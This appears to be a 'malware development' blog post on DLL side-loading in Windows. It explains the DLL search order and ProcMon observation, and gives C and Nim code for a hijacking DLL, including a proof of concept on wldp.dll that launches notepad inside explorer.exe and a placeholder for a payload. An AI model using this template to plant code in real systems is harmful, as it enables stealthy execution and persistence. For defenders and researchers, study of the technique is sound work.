Malware Development: DLL side-loading
This blog post is for educational purposes only. The techniques described here are commonly used by malware but are also essential for security researchers and defenders to understand. All testing should be conducted in controlled lab environments only. Never attempt these techniques against systems you don't own or have explicit permission to test.
In my recent exploration of DLL side loading, what began as a straightforward investigation evolved into fascinating discoveries about the inner workings of DLLs. This technique, frequently observed by blue teams, reveals interesting aspects of Windows program execution.
Understanding DLLs
DLLs (Dynamic-Link Libraries) are modular components containing functions that applications can utilise during runtime. These libraries often provide specialised functionality that can be shared across multiple programs.
When a program needs a DLL, it follows a specific search order to locate it. If you're unfamiliar with this process, here's the typical search hierarchy:
- Application directory
- Windows directory
- System32
- Current directory
- PATH directories
For visual learners, here's a simplified representation of the process:
DIAGRAM1Application DLL Loading Process: 2--------------------------- 3 Application 4 | 5 Needs DLL? 6 / | \ 7App Dir Win Dir Sys32 8 \ | / 9 DLL Found? 10 | \ 11 Load Try Next
The application traverses this hierarchy until it locates the required DLL.
Observing DLL Loading in Action
We can observe this behavior using ProcMon, a powerful monitoring tool:
Pay attention to the NAME NOT FOUND entries. These indicate unsuccessful attempts to locate the DLL at specific paths, triggering the search to continue to the next location. This search pattern forms the foundation of DLL side loading – by understanding the predictable search order, we can potentially intercept the loading process.
Implementation Challenges
My initial approach used a basic C implementation targeting cscapi.dll, which required numerous pragma directives to handle exports:
C1#include <windows.h> 2#pragma comment(linker, "export:CscNetApiGetInterface=cscapi.CscNetApiGetInterface") 3#pragma comment(linker, "export:CscSearchApiGetInterface=cscapi.CscSearchApiGetInterface") 4// ... more exports ...
This approach proved inelegant and highlighted some interesting challenges. When targeting explorer.exe, the taskbar would often fail to render, or the process would terminate due to execution failures. Initially, I suspected these issues stemmed from missing exported functions required by the application.
The Export Table Mystery
However, further investigation revealed something unexpected: the critical element isn't necessarily replicating all exports from the original DLL. Sometimes, a properly exported DllMain function suffices. Here's how it looks in C:
C1__declspec(dllexport) BOOL WINAPI 2DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { 3 4// ... code here ... 5 6}
Note: For scenarios requiring full DLL functionality while including malicious code, a more sophisticated technique called DLL proxying can be used to mirror the target DLL's behavior.
A More Elegant Solution in Nim
Using Nim with the winim library offers a cleaner implementation:
NIM1import winim/lean 2 3proc NimMain() {.cdecl, importc.} 4proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID): BOOL {.stdcall, 5exportc, dynlib.} = 6 NimMain() 7 if fdwReason == DLL_PROCESS_ATTACH: 8 # Payload here 9 return true
The key difference lies in how exports are handled in the PE file format. While C requires explicit export declarations, Nim's pragmas ({.stdcall, exportc, dynlib.}) handle this automatically, resulting in cleaner code.
Practical Demonstration
After testing various DLLs, I chose to demonstrate this technique using 'wldp.dll'. Here's a simple proof of concept:
NIM1import winim/lean 2import net, osproc, strformat 3 4var hOriginalDLL: HANDLE = 0 5 6proc NimMain() {.cdecl, importc.} 7 8proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID): 9BOOL {.stdcall, exportc, dynlib.} = 10 NimMain() 11 if fdwReason == DLL_PROCESS_ATTACH: 12 # Create our thread 13 CreateThread(nil, 0, 14 cast[LPTHREAD_START_ROUTINE](proc (lpParam: LPVOID): DWORD {.stdcall.} = 15 discard execProcess(fmt"notepad.exe") 16 return 0 17 ), nil, 0, nil) 18 19 return true
Here's a demonstration of the attack in action. The ProcMon output is filtered to show only events for 'explorer.exe' and paths ending with 'wldp.dll':
The GIF shows notepad launching automatically when our DLL is loaded, confirming successful execution of our proof of concept. ProcMon validates that our DLL was read from the intended path.
References
- https://malapi.io